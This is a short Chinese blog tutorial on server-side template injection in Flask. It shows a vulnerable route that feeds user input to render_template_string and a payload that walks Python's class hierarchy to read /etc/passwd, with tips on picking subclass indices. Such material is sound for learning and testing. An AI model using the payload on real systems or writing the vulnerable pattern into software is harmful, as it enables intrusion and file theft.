flask——ssti模板注入


什么是SSIT模板注入

用过框架的同学都知道有个叫做模板的东西。模板就和简历模板一样缺一些关键的数据,其他东西都是通过html已经写好的。框架先将模板里面的内容和要填写的内容放到一起然后交给渲染器,渲染后输出。模板注入就发生在渲染数据的时候的过程。

导致漏洞的函数

render_template_string这个函数是导致SSTI的关键函数。这个函数会将字符串当作模板内容去执行,比如会把{{2*2}}这个字符串当作4输出。因此就可以利用这个去执行我们的代码。
常见漏洞代码如下

@app.route("/index/")
def test():
    content = request.args.get("content")
    return render_template_string(content)

漏洞利用

{{}}无法直接执行代码,可以使用配合python的内敛函数来实现读写文件和执行命令的效果。
大致的利用原理就是通过找一个随机的变量不断找他的“父元素”直到根元素再通过根元素找可以执行命令或者可以读取文件的函数的父元素通过这个父元素来调用这个执行命令的函数或读取文件的函数。
payload通常张这样

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} 

常见的内敛函数如下

__class__返回调用的参数类型。
__base__返回基类
__mro__允许我们在当前Python环境下追溯继承树
__subclasses__()返回子类

注意的点

具体利用方式baidu上也有很多
1.在选取_subclasses__()[id]这个id的时候返回值不能选含有wrapper。

>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects> #这个不可以
>>> ''.__class__.__base__.__subclasses__()[83].__init__
<function ModuleSpec.__init__ at 0x7f6f98dd9790> #这个可以

2.如果使用__mro__[id]的时候python3的id是1,pyton2是2

声明:john'blog|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - flask——ssti模板注入


欢迎来到脚本小子的博客